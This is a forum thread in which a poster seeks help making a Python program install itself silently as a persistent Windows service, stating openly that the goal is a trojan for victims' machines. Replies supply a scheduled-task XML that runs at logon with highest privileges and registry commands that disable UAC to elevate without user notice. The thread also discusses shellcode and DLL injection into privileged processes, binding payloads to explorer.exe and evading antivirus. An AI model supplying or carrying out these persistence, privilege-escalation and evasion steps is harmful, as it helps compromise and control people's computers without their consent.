User Controls

Running python program as a Windows service.

  1. #1
    Sophie Pedophile Tech Support
    Alright, so i'm working on a python program and i need it to run as a service after it's compiled. I scoured the web for relevant examples of code and such and i found a bunch of useful stuff i think. I changed it to suit my needs as far as i'm able and this is what i got so far.


    import win32service
    import win32serviceutil
    import win32api
    import win32con
    import win32event
    import win32evtlogutil
    import os, sys, string, time


    config_name = 'service.py'

    # Find out where we are
    if getattr(sys, 'frozen', False):
    application_path = os.path.dirname(sys.executable)
    elif __file__:
    application_path = os.path.dirname(__file__)

    config_path = os.path.join(application_path, config_name)

    # Service
    class aservice(win32serviceutil.ServiceFramework):

    _svc_name_ = "Generic Service"
    _svc_display_name_ = "Service Test"
    _svc_description_ = "Generic Description"

    def __init__(self, args):
    win32serviceutil.ServiceFramework.__init__(self, args)
    self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)

    def SvcStop(self):
    self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
    win32event.SetEvent(self.hWaitStop)

    def SvcDoRun(self):
    import servicemanager
    servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,servicemanager.PYS_SERVICE_STARTED,(self._svc_name_, ''))
    self.timeout = 1000
    # This is how long the service will wait to run / refresh itself

    while 1:
    # Wait for service stop signal, if we timeout, loop again
    rc = win32event.WaitForSingleObject(self.hWaitStop, self.timeout)
    # Check to see if self.hWaitStop happened
    if rc == win32event.WAIT_OBJECT_0:
    # Stop signal encountered
    servicemanager.LogInfoMsg("Generic Service - STOPPED!") #For Event Log
    break
    else:
    # What to run
    try:
    file_path = config_path
    execfile(file_path)
    except:
    pass
    # End of what to run

    # Call service handler
    def ctrlHandler(ctrlType):
    return True

    if __name__ == '__main__':
    win32api.SetConsoleCtrlHandler(ctrlHandler, True)
    win32serviceutil.HandleCommandLine(aservice)


    I don't usually program but when i do it ends up being pretty involved, therefore i wanted to ask your expert opinion before proceeding. If you find any flaws in the code please point them out because i *really* need everything to work properly before i continue. It works i checked and fixed errors. See post below however.
  2. #2
    Sophie Pedophile Tech Support
    Fixed indentation in OP, run that puppy bitches.



    However, i need to get my service to install itself and start after installation without notifying the user. Instead of calling the service handler like so:


    def ctrlHandler(ctrlType):
    return True

    if __name__ == '__main__':
    win32api.SetConsoleCtrlHandler(ctrlHandler, True)
    win32serviceutil.HandleCommandLine(aservice)


    I need everything to transpire automatically. Thoughts?
  3. #3
    SBTlauien African Astronaut
    I don't know shit about any of this, but would this be better using C rather than Python? Just curious.
  4. #4
    Sophie Pedophile Tech Support
    I don't know shit about any of this, but would this be better using C rather than Python? Just curious.

    Probably, but;

    1. I don't really know C.
    2. The main program i want to run as a service is written in python as well.
  5. #5
    Sophie Pedophile Tech Support
    Hmm, after some research it seems i should be able to pass a custom 'argv' to PyWin32's 'handleCommandLine'.

    http://pywin32.hg.sourceforge.net/hg...ceutil.py#l525

    I have no clue however where to start, lol. Better hit the documentation -_-"

    I probably have to elevate my script to have it install itself as well, i was thinking i'd use the PyWin32 module to do so. I think this is the relevant code to call the part of the module that i need.


    import admin

    if not admin.isUserAdmin():
    admin.runAsAdmin()
  6. #6
    mmQ Lisa Turtle
    Reroute the module into the per-script hydrox.
  7. #7
    Reroute the module into the per-script hydrox.


    dont forget to assemble and configure the flux capacitor for optimal wavelengthz
  8. #8
    Sophie Pedophile Tech Support
    Lol, i wish you guys actually knew what i was talking about so you could help me, this shit is harder than i thought.
  9. #9
    Merlin Houston
    So I know fuck all about windows and the specifics, but I'm assuming the end goal is the program runs as admin at boot?

    You don't specify (and I don't know if it's possible or impossible) if the user will be prompted for admin rights during the initial infection. Since the concept is to pack it into another executable I assume you are ok with this. Looks like there are 2 things you can do and you might need to do some combo.
    First see:
    https://stackoverflow.com/questions/5427673/how-to-run-a-program-automatically-as-admin-on-windows-startup
    This uses the cmd


    schtasks /create /tn "start notepad on login" /xml startnotepad.xml
    and the xml


    <?xml version="1.0" encoding="UTF-16"?>
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
    <RegistrationInfo>
    <Date>2015-01-27T18:30:34</Date>
    <Author>Pete</Author>
    </RegistrationInfo>
    <Triggers>
    <LogonTrigger>
    <StartBoundary>2015-01-27T18:30:00</StartBoundary>
    <Enabled>true</Enabled>
    </LogonTrigger>
    </Triggers>
    <Principals>
    <Principal id="Author">
    <UserId>CHUMBAWUMBA\Pete</UserId>
    <LogonType>InteractiveToken</LogonType>
    <RunLevel>HighestAvailable</RunLevel>
    </Principal>
    </Principals>
    <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
    </Settings>
    <Actions Context="Author">
    <Exec>
    <Command>"c:\windows\system32\notepad.exe"</Command>
    </Exec>
    </Actions>

    To run the program notepad at boot. Now the answerer claims that it will run things as admin. I couldn't verify this because in task manager admin tasks appear to show up as the normal user. (I ran cmd as admin and task manager didn't reflect this process any differently). Assuming the answerer was correct that this runs with admin privileges then it's all there is.

    You could also disable the notifications that prompts the user. https://superuser.com/questions/227860/how-to-toggling-uac-on-off-quickly-eg-using-command-line-in-windows-7
    enable/disable


    C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

    This still requires a reboot despite what the person said. This would allow you to elevate privileges without informing the user, but since it requires a reboot it probably wouldn't be very helpful. I can't actually think of how this would help you at all.

    You should also look into modifying the group policy via command. That's what I used to autostart programs in the past. The commands secedit /something /something and gpupdate /force (should turn up a few SO questions) look like the way to modify the group policy through cmd.

    If you look at one of the answers in the second question you could maybe even piggy back of them accepting the first time to prevent multiple requests for the user to accept.

    Not sure if this is helpful, I'm genuinely curious if there is a legitamite way to elevate or force something to run at boot without elevated permissions to begin with.
  10. #10
    Sophie Pedophile Tech Support
    So I know fuck all about windows and the specifics, but I'm assuming the end goal is the program runs as admin at boot?

    Lets talk Linux then, end goal is to deamonize my program, so that it A) Starts at boot, B) Always runs in the background.

    You don't specify (and I don't know if it's possible or impossible) if the user will be prompted for admin rights during the initial infection.

    I don't need to, i don't even need to run my command promt as admin if i install my service from the command line. I just want my service to install itself.

    Since the concept is to pack it into another executable I assume you are ok with this.

    Endgame is application in malware so i am ok with this.

    Looks like there are 2 things you can do and you might need to do some combo.
    First see:
    https://stackoverflow.com/questions/5427673/how-to-run-a-program-automatically-as-admin-on-windows-startup
    This uses the cmd


    schtasks /create /tn "start notepad on login" /xml startnotepad.xml
    and the xml


    <?xml version="1.0" encoding="UTF-16"?>
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
    <RegistrationInfo>
    <Date>2015-01-27T18:30:34</Date>
    <Author>Pete</Author>
    </RegistrationInfo>
    <Triggers>
    <LogonTrigger>
    <StartBoundary>2015-01-27T18:30:00</StartBoundary>
    <Enabled>true</Enabled>
    </LogonTrigger>
    </Triggers>
    <Principals>
    <Principal id="Author">
    <UserId>CHUMBAWUMBA\Pete</UserId>
    <LogonType>InteractiveToken</LogonType>
    <RunLevel>HighestAvailable</RunLevel>
    </Principal>
    </Principals>
    <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
    </Settings>
    <Actions Context="Author">
    <Exec>
    <Command>"c:\windows\system32\notepad.exe"</Command>
    </Exec>
    </Actions>

    To run the program notepad at boot. Now the answerer claims that it will run things as admin. I couldn't verify this because in task manager admin tasks appear to show up as the normal user. (I ran cmd as admin and task manager didn't reflect this process any differently). Assuming the answerer was correct that this runs with admin privileges then it's all there is.

    This is a pretty interesting concept, but the question would be, how would i apply this through python?


    You could also disable the notifications that prompts the user. https://superuser.com/questions/227860/how-to-toggling-uac-on-off-quickly-eg-using-command-line-in-windows-7
    enable/disable


    C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

    This still requires a reboot despite what the person said. This would allow you to elevate privileges without informing the user, but since it requires a reboot it probably wouldn't be very helpful. I can't actually think of how this would help you at all.

    Doesn't matter wether this is useful in the context of the thread, having these registry locations/entries will come in handy in the future, thanks.


    You should also look into modifying the group policy via command. That's what I used to autostart programs in the past. The commands secedit /something /something and gpupdate /force (should turn up a few SO questions) look like the way to modify the group policy through cmd.

    That's pretty interesting as well however i don't want to interact with the command prompt i need my program to install itself as a service programmatically.

    If you look at one of the answers in the second question you could maybe even piggy back of them accepting the first time to prevent multiple requests for the user to accept.

    If we're going to piggy back on anything i don't even need to elevate to admin, i'd use python to inject shellcode into a process that already has admin privilege. To get the desired end result though i'd have to code my malware in assembly, convert to bytearray, inject into privileged process and repeat every time at boot. I could also inject dll, but i believe dll's are written in C and i don't really know C let alone assembly, kek.

    Not sure if this is helpful, I'm genuinely curious if there is a legitamite way to elevate or force something to run at boot without elevated permissions to begin with.

    Not sure if there is a way either, but i found your post pretty interesting so thanks, i appreciate it.
  11. #11
    Merlin Houston
    Tl;Dr / most important: You can send console commands from python with os.system()

    Well in linux there are a few different places you can place a program to run at boot. In theory all you would need to do is place the script in a certain directory or add a path to it. A lot of it varies, even by window manager. Depending on where it goes will determine when it is run and what user (the regular user or root) is running it. For linux at least, this brings up an interesting question. Do you need to be root to run your script? If not this would be a big advantage because you could place it in the WM specific location which for me at least does not require root. If you need to be root you'd need to place it in the right place for that. You'd have to experiment a bit with different distros to find a good universal'ish place that works. And you'd have to either elevate somehow or have the user run as root. Again if you snuck it into a regular looking program it would probably work.

    Ok, windows you should be able to open a console through python:
    os.system(/usr/bin/kill_all_humans)
    and have it be like interacting with the command prompt. I'm not totally sure how this is handled in windows, but it should run it silently. On linux this lets me do bash commands, and presumably if I had a different shell it would send to that). Also you cannot change to admin once cmd.exe has been opened, I would guess that if you elevated to admin within python and then sent console commands with os.system() they would have admin rights. And then you could run those cmd commands (probably the schtasks one with the xml would be the thing to do) through python before or while the main program is downloading. (The command itself definitely works, as I said didn't test if it technically ran as admin or not (but the person claimed it did). Your program doesn't require admin to install, what about to run? Either way you could both add to startup and disable the uac which should let anything run silently as admin.)

    In linux you'd have to do the same thing, but os.system(write_my_script_here) or whatever linux equivalent thing you have to do is.

    If we're going to piggy back on anything i don't even need to elevate to admin, i'd use python to inject shellcode into a process that already has admin privilege. To get the desired end result though i'd have to code my malware in assembly, convert to bytearray, inject into privileged process and repeat every time at boot. I could also inject dll, but i believe dll's are written in C and i don't really know C let alone assembly, kek.
    Fugg that's pretty crazy, didn't know you could do that. What I meant was that the method I'm describing above might prompt the user twice, once for the initial install and once for python requesting elevated permissions. People are pretty well conditioned from the fucking annoying installers that it probably wouldn't make them suspicious anyways.
  12. #12
    Sophie Pedophile Tech Support
    Tl;Dr / most important: You can send console commands from python with os.system()

    Well in linux there are a few different places you can place a program to run at boot. In theory all you would need to do is place the script in a certain directory or add a path to it. A lot of it varies, even by window manager. Depending on where it goes will determine when it is run and what user (the regular user or root) is running it. For linux at least, this brings up an interesting question. Do you need to be root to run your script? If not this would be a big advantage because you could place it in the WM specific location which for me at least does not require root. If you need to be root you'd need to place it in the right place for that. You'd have to experiment a bit with different distros to find a good universal'ish place that works. And you'd have to either elevate somehow or have the user run as root. Again if you snuck it into a regular looking program it would probably work.

    Word. Also, the service itself doesn't need to run nor install as admin.

    Ok, windows you should be able to open a console through python:
    os.system(/usr/bin/kill_all_humans)
    and have it be like interacting with the command prompt. I'm not totally sure how this is handled in windows, but it should run it silently. On linux this lets me do bash commands, and presumably if I had a different shell it would send to that). Also you cannot change to admin once cmd.exe has been opened, I would guess that if you elevated to admin within python and then sent console commands with os.system() they would have admin rights. And then you could run those cmd commands (probably the schtasks one with the xml would be the thing to do) through python before or while the main program is downloading. (The command itself definitely works, as I said didn't test if it technically ran as admin or not (but the person claimed it did). Your program doesn't require admin to install, what about to run? Either way you could both add to startup and disable the uac which should let anything run silently as admin.)

    In linux you'd have to do the same thing, but os.system(write_my_script_here) or whatever linux equivalent thing you have to do is.

    Nice, i'm going to look into os.system, since i currently call on the service handler from within my script a user gets to interact with the command line to install it. If i can pass console commands from within my script to the command line, i may be able to provide the options that install it from there.

    Fugg that's pretty crazy, didn't know you could do that. What I meant was that the method I'm describing above might prompt the user twice, once for the initial install and once for python requesting elevated permissions. People are pretty well conditioned from the fucking annoying installers that it probably wouldn't make them suspicious anyways.

    Yeah man, i read about it in book on python.

    If you're interested here's my take on a script that inject DLL.

    http://niggasin.space/forum/technoph...-injecting-dll

    On windows the script i linked automatically gets the PID of internet explorer and injects a DLL of my choosing into it. The problem is it can only inject into x32 processes so sometimes when there are multiple instances it picks the wrong one. Anyway if it works it's pretty cool.



    Top kek.




  13. #13
    aldra JIDF Controlled Opposition
    just use sc create from the commandline ... do it from batch or use a system call from within python
  14. #14
    Sophie Pedophile Tech Support
    just use sc create from the commandline … do it from batch or use a system call from within python

    Yes, i'm going to use a system call.
  15. #15
    Merlin Houston
    I learned today that you can place .exe files in the users startup directory (and as the name implies they'll start at boot). Surely this wouldn't require admin rights, didn't check though (was doing something unrelated), but it would make the whole thing a lot easier. Just make download directly to that directory with a system call or through python or whatever. Off the top of my head it was Users/AppData/Roaming/Microsoft/Windows/Programs/StartupPrograms
  16. #16
    Sophie Pedophile Tech Support
    I learned today that you can place .exe files in the users startup directory (and as the name implies they'll start at boot). Surely this wouldn't require admin rights, didn't check though (was doing something unrelated), but it would make the whole thing a lot easier. Just make download directly to that directory with a system call or through python or whatever. Off the top of my head it was Users/AppData/Roaming/Microsoft/Windows/Programs/StartupPrograms

    Yeah i know, but this would stop working the moment the victim takes the exe out of the startup folder. Hence the reason i am making the trojan persistent by way of the registry. Just still have this service script and i want to see if i can get it to install itself with a system call out of curiosity and maybe future application.
  17. #17
    -SpectraL coward [the spuriously bluish-lilac bushman]
    Instead of running as a system service, as the system services will be one of the first things the operator checks, you could use the InstallShield program to build an unattended setup routine, where you could include all the Python files along with any desired switches, command lines and scripts, and InstallShield can be set to execute the batch in invisible mode. Then you could bind the resulting InstallShield file to a system executable such as explorer.exe, so that every time explorer is run (at bootup), the InstallShield routine will also activate. Kind of like a system service, but different.
  18. #18
    Sophie Pedophile Tech Support
    Instead of running as a system service, as the system services will be one of the first things the operator checks

    Your average computer user couldn't tell the difference between a microsoft service and one i've made to look like one i'd imagine.

    you could use the InstallShield program to build an unattended setup routine, where you could include all the Python files along with any desired switches, command lines and scripts, and InstallShield can be set to execute the batch in invisible mode.

    I take it you mean Windows Installer when you say InstallShield, also known as a MSI file. And sure i could do that but since you're suggesting i don't install as a service below i actually don't need a batch file since i only need to run command line options when i need to install the python program as a service. In fact, the trojan itself doesn't need to be installed at all, it operates from the executable the only thing i'm having it add is the registry entry.

    Then you could bind the resulting InstallShield file to a system executable such as explorer.exe, so that every time explorer is run (at bootup), the InstallShield routine will also activate. Kind of like a system service, but different.

    You're confusing a few things, for one you can't really bind an exe to a msi since msi's have have a compressed cabinet file inside them which binders generally have trouble with. Lets say however that we could do what you are saying. Well now we have explorer.exe bound with a msi, then what? This doesn't do anything but hide one thing in another, what we can do however is inject code or a dll into explorer.exe and run our program from within the process, on its own this doesn't offer anything in way of persistence either, and persistence was the point of running it as a service.
  19. #19
    -SpectraL coward [the spuriously bluish-lilac bushman]
    The resulting InstallShield file is a fully independent, compressed and encrypted executable program in .exe format. It's not an .msi file. Of course, you can bind an .exe to an .msi by way of an executable stub easily as well, but that's another story. The resulting InstallShield .exe can be bound to any .exe file without issue. Once executed, it can perform a variety of automatic operations, including macros, scripts, file system management (add/delete), file download, batch operations, run and quit other programs already on the machine, registry management, and an entire host of other neat tasks.

    (edit)
    Best of all, it is not detected as malicious by any scanners and is considered a legitimate program.
  20. #20
    Sophie Pedophile Tech Support
    The resulting InstallShield file is a fully independent, compressed and encrypted executable program in .exe format.

    Now that you mention it, yeah, you can build exes with InstallShield too i think i never use the thing though.

    It's not an .msi file. Of course, you can bind an .exe to an .msi by way of an executable stub easily as well, but that's another story.

    Spec, you bind everything you can bind by way of a stub, i know this. Also, maybe you can bind a msi to an exe but i don't think it's as easy as binding an exe to another exe, personally i haven't tried but i know msi's operate in a different way than regular exes.

    Once executed, it can perform a variety of automatic operations, including macros, scripts, file system management (add/delete), file download, batch operations, run and quit other programs already on the machine, registry management, and an entire host of other neat tasks.

    Yeah but that's all operations with regards to the install script itself, it would be a roundabout way of installing a service complete with batch file and such if i can instead make a system call from within the python script. Also, i do believe InstallShield installers are designed to operate with user input which makes sense if you need to install a software package or something similar, not so much in the case of malware.

    But hey what the hell do i know i'm not a software engineer.

    (edit)
    Best of all, it is not detected as malicious by any scanners and is considered a legitimate program.

    I don't think this is true, anti-virus applications check what the program itself does. It may not recognize the install script as malicious but what it is installing will be recognized as malicious. If this wasn't the case nobody would be using encoders to protect their malware with AV/Sandbox evasion wouldn't you say.
Jump to Top